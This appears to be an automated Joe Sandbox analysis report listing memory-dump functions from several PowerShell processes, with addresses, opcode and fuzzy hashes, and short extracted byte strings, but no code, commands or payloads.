Source File: 00000020.00000002.2247164282.00000000034D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_34d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db0a4244e8a64df501197b60cceb7049f7858a6019d215f83d46c62f92482c08
Instruction ID: 7c2bb972f328b25a6538a60dfb5dbaf0fc5ba9a38fc140003c2838c9d3e9c6b4
Opcode Fuzzy Hash: db0a4244e8a64df501197b60cceb7049f7858a6019d215f83d46c62f92482c08
Instruction Fuzzy Hash: 50E0DF263143110B8621B1AA6430677AA8A8EC105530A007B9A07CF342ED44CC0683E5

Function 034DEEF0 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2247164282.00000000034D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_34d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a535f306baa9b20f9cffc6aea1b7792a6a546fa94486e0bedb433175780a606d
Instruction ID: ad60ec410a0a29c38abccf18479e53c3f27d5d1edb27ad4739f81fabd2619e6d
Opcode Fuzzy Hash: a535f306baa9b20f9cffc6aea1b7792a6a546fa94486e0bedb433175780a606d
Instruction Fuzzy Hash: 82E0923080444ECBCB08FF64D4958EDBFB0EB10304B10026EC423A3091EB20565ECF80

Function 034DF918 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2247164282.00000000034D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_34d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf3785389c43d8db37a28944060e0bbb2ec6117352f8eabf54ccc203ec594f9a
Instruction ID: 946c7ca411a04e89a5f550f96e6cf48165e1517ced422f1847383bcd1437772a
Opcode Fuzzy Hash: bf3785389c43d8db37a28944060e0bbb2ec6117352f8eabf54ccc203ec594f9a
Instruction Fuzzy Hash: E4F039309047049BD360EB79D09839ABBE9FB44354F004469E54EE7380DB39A9408B80

Function 034DF130 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2247164282.00000000034D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_34d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14a6c513df3a06301e79787ec8ae2758d54bec2669b77e8cbdb8d66eed5c0e5c
Instruction ID: 9cb154c80f4f9491ada6204032a63106586c1f5df61d92e0897302feb2082b93
Opcode Fuzzy Hash: 14a6c513df3a06301e79787ec8ae2758d54bec2669b77e8cbdb8d66eed5c0e5c
Instruction Fuzzy Hash: 4FE08639708B255BCB197775A01C29E7AAAEBC4769F00006ED50A97341CF795A0583D9

Function 034DFD00 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2247164282.00000000034D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_34d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0a26eee1611411bf319c0dc9b3504c62b1e91a2b27b2c846466201870849745
Instruction ID: 8daf54024cacdc76978634174ff427a26d02185687ec2333b5b0ff9260b70d5e
Opcode Fuzzy Hash: b0a26eee1611411bf319c0dc9b3504c62b1e91a2b27b2c846466201870849745
Instruction Fuzzy Hash: 99D067567102261B5935F5AF683177BB2CE8EC54A570A017B9A07CF745ED44CC0A03F9

Function 034D7B38 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2247164282.00000000034D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_34d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3430e27867741f1f40fd666971090cd6c1204d149a662f961767d6447dbd8411
Instruction ID: b4c367c190f94f26b0445687010c69477a367c66efdab8c601bfc3b461032317
Opcode Fuzzy Hash: 3430e27867741f1f40fd666971090cd6c1204d149a662f961767d6447dbd8411
Instruction Fuzzy Hash: 4AD05E36B04354175B1422BE789882F7BCEEAC81A5314453AE50DD3309DEA98C0241A1

Function 034DEFB8 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2247164282.00000000034D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_34d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b3490a2f6573128d336081d58dc9f51f8563108032e677bf987df7ba19003a3
Instruction ID: b601843f273e539c8a714e2d4e31c31d0d92f3fbccc77360500ad66515441fa5
Opcode Fuzzy Hash: 1b3490a2f6573128d336081d58dc9f51f8563108032e677bf987df7ba19003a3
Instruction Fuzzy Hash: 9DE01A34A0914ACF8B69EF74E4964ADBFB1EB59204F0002AECE27A3352D6304956CF85

Function 034D821C Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2247164282.00000000034D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_34d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49d705743645d3d09aaf70841a2f7def43bf4726edc09c0e67bdcc1380f2f479
Instruction ID: af160dd82b653a3eaf859f1e477207356579999ca613758c8b0420645312d4dc
Opcode Fuzzy Hash: 49d705743645d3d09aaf70841a2f7def43bf4726edc09c0e67bdcc1380f2f479
Instruction Fuzzy Hash: 81E082303403015BC300E668E180AA9A7A2EBC0354B008634E6428BAACCBA9A9C68790

Function 034D7B78 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2247164282.00000000034D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_34d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23284a9b587be14e4d147ac51ebe36f520798a53cf15d423c03f7c0f41de84aa
Instruction ID: 30d895a07f1c01cadf416a6c44d441494763310751f9bf9a9dbeb688994620a9
Opcode Fuzzy Hash: 23284a9b587be14e4d147ac51ebe36f520798a53cf15d423c03f7c0f41de84aa
Instruction Fuzzy Hash: 6BD05E392401249FC748EB68E548C957BE9EB4822071181A5E60987322CA29DC048B91

Function 034DEF00 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2247164282.00000000034D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_34d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 366751d7f09103145258d1c307234f846014d738c4242c29ba1c4a6ff74e66b1
Instruction ID: c4029f38432ac526441f9ca8fdb278d32d6e6ebc508c31397bf1313300cc7db2
Opcode Fuzzy Hash: 366751d7f09103145258d1c307234f846014d738c4242c29ba1c4a6ff74e66b1
Instruction Fuzzy Hash: A0D0123180950DDBCB18FF64D81A4BDBB34EB00305F41009DD90762191EA201946CFC4

Function 034DEFC8 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2247164282.00000000034D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_34d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67345acb9307fe0f6868285e9f7d9c23138a219f2c99fb46fdcc367105b0c2b7
Instruction ID: 2dacdfcd1fdb4908f599613c59c47bd45f2124f3d127fa173ef86edb9d3ee047
Opcode Fuzzy Hash: 67345acb9307fe0f6868285e9f7d9c23138a219f2c99fb46fdcc367105b0c2b7
Instruction Fuzzy Hash: F4D01730E09208CB8754EFA4E44646EBBB5EB48201F00416AD90AA3345EA3019418BC1

Function 034DE388 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2247164282.00000000034D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_34d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4dc908a0a80e1d332e11b4fde1f86fdaebb0cc29ab4bb08be709d205930720e
Instruction ID: 7a0ba5d114bdbd07e9cf4b07ded8eb390eb7e7a20deee982e126930c14a57000
Opcode Fuzzy Hash: a4dc908a0a80e1d332e11b4fde1f86fdaebb0cc29ab4bb08be709d205930720e
Instruction Fuzzy Hash: 26B0923114430A8FC2096F75E4499147369BA8420938009A8E50F0A2968E3BE881CA46

Function 034DE8F1 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2247164282.00000000034D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_34d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 124bdbfeeebfef021a232279fefff18801818e540a8fcab44ee7817dc2e251dc
Instruction ID: 7b15d107cd3df798395b6e6d85197afaddeb59b108eef80f29227f426e5a0c92
Opcode Fuzzy Hash: 124bdbfeeebfef021a232279fefff18801818e540a8fcab44ee7817dc2e251dc
Instruction Fuzzy Hash: BCC04CB1D492959AEF5DDF3499896C57BB2EB43315F04406980558A109C5784402DA05

Non-executed Functions

Function 07B82E58 Relevance: 15.3, Strings: 12, Instructions: 286COMMON

Download Yara Rule

Strings

J4l, xrefs: 07B830E3
841l, xrefs: 07B8304E
$c&k, xrefs: 07B8318C
841l, xrefs: 07B83044
4'^q, xrefs: 07B8306D
4'^q, xrefs: 07B83061
J4l, xrefs: 07B8319A
tP^q, xrefs: 07B830C3
J4l, xrefs: 07B831A6
tP^q, xrefs: 07B830B7
J4l, xrefs: 07B830EF
J4l, xrefs: 07B83079

Memory Dump Source

Source File: 00000020.00000002.2331208059.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7b80000_powershell.jbxd

Similarity

API ID:
String ID: $c&k$4'^q$4'^q$841l$841l$tP^q$tP^q$J4l$J4l$J4l$J4l$J4l
API String ID: 0-3260698299
Opcode ID: 11832c0a3cab0cacc2f98d238ccab687ca0beae04908346e1227cd5e9617dc7c
Instruction ID: b988c991205230c469929aaadb3e33c693bfbb278f65881716b190acc5a56072
Opcode Fuzzy Hash: 11832c0a3cab0cacc2f98d238ccab687ca0beae04908346e1227cd5e9617dc7c
Instruction Fuzzy Hash: 0B9146F2B042068FE755AB6998007AAFBE2EFC5B11F18C4EBD5158B351DA32C845C7A1

Function 07B81BC0 Relevance: 12.7, Strings: 10, Instructions: 184COMMON

Download Yara Rule

Strings

$^q, xrefs: 07B81E5B
$^q, xrefs: 07B81E31
fcq, xrefs: 07B81CAA
`Q^q, xrefs: 07B81CF5
841l, xrefs: 07B81CDC
$^q, xrefs: 07B81C89
$^q, xrefs: 07B81C4C
$^q, xrefs: 07B81C6D
tP^q, xrefs: 07B81D2F
`Q^q, xrefs: 07B81D5B

Memory Dump Source

Source File: 00000020.00000002.2331208059.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7b80000_powershell.jbxd

Similarity

API ID:
String ID: fcq$841l$`Q^q$`Q^q$tP^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-1430706062
Opcode ID: b873a60cbba245faa93c466aa730e9909527738728c70da1fa8c86634eaf85d3
Instruction ID: 6bb76953ae84c1a195df890b24a7053b3494000933eede836b6f8539781e29b7
Opcode Fuzzy Hash: b873a60cbba245faa93c466aa730e9909527738728c70da1fa8c86634eaf85d3
Instruction Fuzzy Hash: B0615DF4A1220EDBEB64AE0CC544BAAB7F5EB45351F1484DEE8019F290C731DD86CBA1

Function 07B804E8 Relevance: 11.5, Strings: 9, Instructions: 238COMMON

Download Yara Rule

Strings

4c^q, xrefs: 07B806E1
tP^q, xrefs: 07B80621
841l, xrefs: 07B805C6
4c^q, xrefs: 07B806EB
841l, xrefs: 07B805BA
tP^q, xrefs: 07B80615
4c^q, xrefs: 07B806D7
Q<i, xrefs: 07B807F5
4c^q, xrefs: 07B8057C

Memory Dump Source

Source File: 00000020.00000002.2331208059.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7b80000_powershell.jbxd

Similarity

API ID:
String ID: 4c^q$4c^q$4c^q$4c^q$841l$841l$tP^q$tP^q$Q<i
API String ID: 0-3059801424
Opcode ID: 43419719ac44bb1e73fad89b0fe0064c6eb54735ed3a83dfb35ba0b93a032d09
Instruction ID: 006089c66b9e49c5377970782ffe8f517d15a1ae57bc21c560bc6ccc83b4eaeb
Opcode Fuzzy Hash: 43419719ac44bb1e73fad89b0fe0064c6eb54735ed3a83dfb35ba0b93a032d09
Instruction Fuzzy Hash: 948146B5F002199FEB14BF28D4446AEBBA2EF85750F1484A9E9559F390CE31DC48CBA1

Function 07B80D68 Relevance: 9.2, Strings: 7, Instructions: 496COMMON

Download Yara Rule

Strings

r3l, xrefs: 07B8120B
fcq, xrefs: 07B8122B
4'^q, xrefs: 07B81242
4'^q, xrefs: 07B80ECC
4'^q, xrefs: 07B80ED6
r3l, xrefs: 07B81215
4'^q, xrefs: 07B8124E

Memory Dump Source

Source File: 00000020.00000002.2331208059.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7b80000_powershell.jbxd

Similarity

API ID:
String ID: fcq$4'^q$4'^q$4'^q$4'^q$r3l$r3l
API String ID: 0-115197805
Opcode ID: 1da7cc5f32e4478f1e1ebec29a66319067dee1c88650161e437655648f9990d1
Instruction ID: 8d2c1ee3325ab7bed66755aadee81696599ec348eee5acabdafba6e7143587b0
Opcode Fuzzy Hash: 1da7cc5f32e4478f1e1ebec29a66319067dee1c88650161e437655648f9990d1
Instruction Fuzzy Hash: 66F154F1B042598FE715AB6CD81076BBBE2EFC2251F14C4AFD509CB251DA32D88AC791

Function 034DE468 Relevance: 9.0, Strings: 7, Instructions: 239COMMON

Download Yara Rule

Strings

`_q, xrefs: 034DE56B
`_q, xrefs: 034DE68C
`_q, xrefs: 034DE5EA
`_q, xrefs: 034DE70A
+&^o^, xrefs: 034DE61A
tM3l, xrefs: 034DE51C
;&^o^, xrefs: 034DE59B

Memory Dump Source

Source File: 00000020.00000002.2247164282.00000000034D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_34d0000_powershell.jbxd

Similarity

API ID:
String ID: tM3l$+&^o^$;&^o^$`_q$`_q$`_q$`_q
API String ID: 0-3908585203
Opcode ID: 300c7ca8f09f56cfb019bbdc5642d6fa260f3c0b794d8f7af53e4b5000d2be0c
Instruction ID: c24d7225f4e3414bd3598aa137dd4632c38022f83e40af24fd7199c7df961580
Opcode Fuzzy Hash: 300c7ca8f09f56cfb019bbdc5642d6fa260f3c0b794d8f7af53e4b5000d2be0c
Instruction Fuzzy Hash: 2DB1B574E002199FCB55DFA9D990A9EFBF2FF88300F14862AD419AB315E734A945CF90

Function 034DE478 Relevance: 9.0, Strings: 7, Instructions: 234COMMON

Download Yara Rule

Strings

`_q, xrefs: 034DE56B
`_q, xrefs: 034DE68C
`_q, xrefs: 034DE5EA
`_q, xrefs: 034DE70A
+&^o^, xrefs: 034DE61A
tM3l, xrefs: 034DE51C
;&^o^, xrefs: 034DE59B

Memory Dump Source

Source File: 00000020.00000002.2247164282.00000000034D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 034D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_34d0000_powershell.jbxd

Similarity

API ID:
String ID: tM3l$+&^o^$;&^o^$`_q$`_q$`_q$`_q
API String ID: 0-3908585203
Opcode ID: d76eadc799a8245bc619272d091ed00deb772b07b3d709cc81f06335041f4635
Instruction ID: fa17861da8aca5c9e81ab51ae48e08a55444062ece285849edf57a5dca41f8df
Opcode Fuzzy Hash: d76eadc799a8245bc619272d091ed00deb772b07b3d709cc81f06335041f4635
Instruction Fuzzy Hash: 97B1A574E002199FCB54DFA9D990A9EFBF2FF88300F14862AD419AB315E734A945CF90

Function 07B804C7 Relevance: 7.6, Strings: 6, Instructions: 150COMMON

Download Yara Rule

Strings

4c^q, xrefs: 07B806E1
4c^q, xrefs: 07B806EB
841l, xrefs: 07B805BA
tP^q, xrefs: 07B80615
4c^q, xrefs: 07B806D7
4c^q, xrefs: 07B8057C

Memory Dump Source

Source File: 00000020.00000002.2331208059.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7b80000_powershell.jbxd

Similarity

API ID:
String ID: 4c^q$4c^q$4c^q$4c^q$841l$tP^q
API String ID: 0-369957374
Opcode ID: 3f0fca6ea0d987a8affa0b65c53901e14db44aee592d225feec627150a0566e1
Instruction ID: 86fd43b13e98cdba887b42e395ee056aa5b4f1206e469447f9ab4a688e2714bc
Opcode Fuzzy Hash: 3f0fca6ea0d987a8affa0b65c53901e14db44aee592d225feec627150a0566e1
Instruction Fuzzy Hash: 825114F1E002199FEB14BF14C4846ADBBA2FF85790F1885E5E8559F291CB31DD48CBA1

Function 07B808F8 Relevance: 6.5, Strings: 5, Instructions: 215COMMON

Download Yara Rule

Strings

(_^q, xrefs: 07B80AB3
841l, xrefs: 07B809B6
841l, xrefs: 07B809C2
tP^q, xrefs: 07B80A1D
tP^q, xrefs: 07B80A11

Memory Dump Source

Source File: 00000020.00000002.2331208059.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7b80000_powershell.jbxd

Similarity

API ID:
String ID: (_^q$841l$841l$tP^q$tP^q
API String ID: 0-3906441607
Opcode ID: 417b655ec0418c9e2f048a98236a21e78695d19a268d7c9419ad6defa4d22616
Instruction ID: 5d56a8ce82c296e8dc439f50e9c46976bdbd6b311503bc4e98b6154f89719f75
Opcode Fuzzy Hash: 417b655ec0418c9e2f048a98236a21e78695d19a268d7c9419ad6defa4d22616
Instruction Fuzzy Hash: 2C7145B5F002199FEB14BF68D44466ABBE2FF85750F1484EAE8499F351CA31DC48CBA1

Function 07B81820 Relevance: 5.1, Strings: 4, Instructions: 66COMMON

Download Yara Rule

Strings

(_^q, xrefs: 07B81869
(_^q, xrefs: 07B81855
(_^q, xrefs: 07B8182E
(_^q, xrefs: 07B8184B

Memory Dump Source

Source File: 00000020.00000002.2331208059.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7b80000_powershell.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$(_^q$(_^q
API String ID: 0-2697572114
Opcode ID: 0a741d76d8aaa6fe2882940998d37bd193b95d672eb7bbd8322a9d0a02d60813
Instruction ID: d2946ea1c7b7b54623f1d55db1c762f14c03cce341c4b869a53a9bb406ba3ad2
Opcode Fuzzy Hash: 0a741d76d8aaa6fe2882940998d37bd193b95d672eb7bbd8322a9d0a02d60813
Instruction Fuzzy Hash: C41127FAB1121D8BD718AAAE9004026F7EADFC5320728C4BFC516CB350DA32D847C791

Function 07B831DF Relevance: 5.1, Strings: 4, Instructions: 52COMMON

Download Yara Rule

Strings

J4l, xrefs: 07B83222
J4l, xrefs: 07B8322E
$^q, xrefs: 07B8324A
$^q, xrefs: 07B8323E

Memory Dump Source

Source File: 00000020.00000002.2331208059.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7b80000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$J4l$J4l
API String ID: 0-556445654
Opcode ID: 0ffca2636a18bf9b79af0baa8bf4966b59d9e3ed91226249aaeecddff915d54b
Instruction ID: 72872dda2eea0d7d3f1d036099079d697f4eabfa79ac4c19b3fb80a590075fad
Opcode Fuzzy Hash: 0ffca2636a18bf9b79af0baa8bf4966b59d9e3ed91226249aaeecddff915d54b
Instruction Fuzzy Hash: AE014CF694C3C19FD3621A28581118A6FF28FD7A10F1945E7C050CF367C528CC46C3A2

Function 07B81803 Relevance: 5.0, Strings: 4, Instructions: 48COMMON

Download Yara Rule

Strings

(_^q, xrefs: 07B81869
(_^q, xrefs: 07B81855
(_^q, xrefs: 07B8182E
(_^q, xrefs: 07B8184B

Memory Dump Source

Source File: 00000020.00000002.2331208059.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7b80000_powershell.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$(_^q$(_^q
API String ID: 0-2697572114
Opcode ID: 3fd270de4d328c9b4bd0d5a7fcd336e3dc075e951ae52e3590e78009e7300836
Instruction ID: 195cef171201048b070d6ef85f1f1493f527b7319274749b33aec6c405cc6384
Opcode Fuzzy Hash: 3fd270de4d328c9b4bd0d5a7fcd336e3dc075e951ae52e3590e78009e7300836
Instruction Fuzzy Hash: 3E01F5FAA153588FC3195E5D84144A1BBB6DFD221072D40EFC010CF292C535E80AC792

Function 07B801DB Relevance: 5.0, Strings: 4, Instructions: 46COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07B80250
4'^q, xrefs: 07B80244
$^q, xrefs: 07B8022E
$^q, xrefs: 07B80222

Memory Dump Source

Source File: 00000020.00000002.2331208059.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7b80000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: 77091e62f27868ca1f14867c3789a29813d87f1054ee371bcd75f38ce2ebfe72
Instruction ID: c7620f9eed3fb4ef70cac1383f0dc89d6f5f36c037392594cf03e99ededf02c1
Opcode Fuzzy Hash: 77091e62f27868ca1f14867c3789a29813d87f1054ee371bcd75f38ce2ebfe72
Instruction Fuzzy Hash: AB0149B1B092568FD36A3A6868241956BF2DFC7B5072504EFC044CF769CE658C8EC396

Analysis Process: powershell.exePID: 5376, Parent PID: 1044COMMON

Executed Functions

Function 00007FFD9B353575 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000022.00000002.2550354305.00007FFD9B350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_7ffd9b350000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: f0a97667adf5f045ea29fdcf986ebae8f76ac2bc761e54295bb77722c31b2d0d
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 6901677121CB0C8FDB48EF4CE451AA5B7E0FB95364F10056EE58AC36A5D636E881CB45

Analysis Process: powershell.exePID: 3408, Parent PID: 7068COMMON

Executed Functions

Function 07773020 Relevance: 23.3, Strings: 18, Instructions: 846COMMON

Download Yara Rule

Strings

r<l, xrefs: 077733EF
J=l, xrefs: 07773496
J=l, xrefs: 07773247
J=l, xrefs: 0777328D
2l, xrefs: 0777331C
<c/k, xrefs: 07773273
J=l, xrefs: 0777343E
4'^q, xrefs: 077732AF
J=l, xrefs: 07773097
4'^q, xrefs: 077734AD
r<l, xrefs: 077733F9
J=l, xrefs: 077730DD
J=l, xrefs: 07773281
J=l, xrefs: 0777348A
4'^q, xrefs: 077734B9
J=l, xrefs: 077730E9
2l, xrefs: 0777332A
4'^q, xrefs: 077732A3

Memory Dump Source

Source File: 00000024.00000002.2537552893.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7770000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$<c/k$J=l$J=l$J=l$J=l$J=l$J=l$J=l$J=l$J=l$r<l$r<l$2l$2l
API String ID: 0-4007156952
Opcode ID: 257ef0587ce9135ef8bfc46a069831ebf0c11346dca0009488a51dacee14cd1c
Instruction ID: 76d574b89f4a9dcc87e586e6663ed93078f73d9a40b5daf4be5176d987982c23
Opcode Fuzzy Hash: 257ef0587ce9135ef8bfc46a069831ebf0c11346dca0009488a51dacee14cd1c
Instruction Fuzzy Hash: 23527AB1B00286CFDF108B69C8416BABBE6EF86351F1488BAD505CB351DB31CD45DBA2

Function 077723D8 Relevance: 20.6, Strings: 16, Instructions: 576COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07772616
4'^q, xrefs: 0777247E
$^q, xrefs: 07772834
$^q, xrefs: 07772818
<-.k, xrefs: 077725DB
L<l, xrefs: 077726EA
r<l, xrefs: 07772455
r<l, xrefs: 0777244B
4'^q, xrefs: 0777248A
tP^q, xrefs: 077728C0
$^q, xrefs: 0777287B
4'^q, xrefs: 0777260A
$^q, xrefs: 0777285C
$^q, xrefs: 0777286F
$^q, xrefs: 07772850
tP^q, xrefs: 077728B4

Memory Dump Source

Source File: 00000024.00000002.2537552893.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7770000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$<-.k$tP^q$tP^q$$^q$$^q$$^q$$^q$$^q$$^q$L<l$r<l$r<l
API String ID: 0-130326151
Opcode ID: 3b9613b34761480c2aead1de761380f4933b70277fe8df500229310d7fa5212b
Instruction ID: ba4720567af5c4c0b87f362d1bd3e922ca7cc635e831372d19a81e6386501acf
Opcode Fuzzy Hash: 3b9613b34761480c2aead1de761380f4933b70277fe8df500229310d7fa5212b
Instruction Fuzzy Hash: ED0235B5B042458FCF258A69981067ABBF5FF862A0F1488BBD525CF353DA32CC45C7A1

Function 07774130 Relevance: 1.5, Strings: 1, Instructions: 234COMMON

Download Yara Rule

Strings

0U^q, xrefs: 0777436D

Memory Dump Source

Source File: 00000024.00000002.2537552893.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7770000_powershell.jbxd

Similarity

API ID:
String ID: 0U^q
API String ID: 0-3089300118
Opcode ID: a49248004bc7e10378efc96d8f1aab82fbceb7d6a613e059df2ab006443e9e02
Instruction ID: 58a24e244b233a5947ceb868ddbac710a6c371e1d28adf50b6a0634ee527af88
Opcode Fuzzy Hash: a49248004bc7e10378efc96d8f1aab82fbceb7d6a613e059df2ab006443e9e02
Instruction Fuzzy Hash: 77814AB17442459FCF14DF68D8046AABBA2AF86391F10C866E509CF361DB31DC55CBA1

Function 04903758 Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2423383145.0000000004900000.00000040.00000800.00020000.00000000.sdmp, Offset: 04900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_4900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b67987f79b34c42be40cd1597986823d1b6727313e8735e03d856d7975d74a98
Instruction ID: b81995f3ec3df49870a28c178ff42cc2839180991911289fd6cff8558df4fc7e
Opcode Fuzzy Hash: b67987f79b34c42be40cd1597986823d1b6727313e8735e03d856d7975d74a98
Instruction Fuzzy Hash: 33E15C34A052589FCB15DFA8C594A9DBBB2FF49310F15C5A6E844AB3A2C731EC85CB90

Function 04907CB8 Relevance: .3, Instructions: 293COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2423383145.0000000004900000.00000040.00000800.00020000.00000000.sdmp, Offset: 04900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_4900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b452ad16a6ad427823ccea5fa9a3a772396d79d1d74a31adfb602e667a6ee19d
Instruction ID: 87e9bc096a3fb0996d14e411dba6472da59586e0880f9d82022123a652df7c46
Opcode Fuzzy Hash: b452ad16a6ad427823ccea5fa9a3a772396d79d1d74a31adfb602e667a6ee19d
Instruction Fuzzy Hash: 13C10A34A01208DFDB05DFA8D584A9DBBF6AF88320F25C5A9E804AB365D731ED41CF90

Function 049076B8 Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

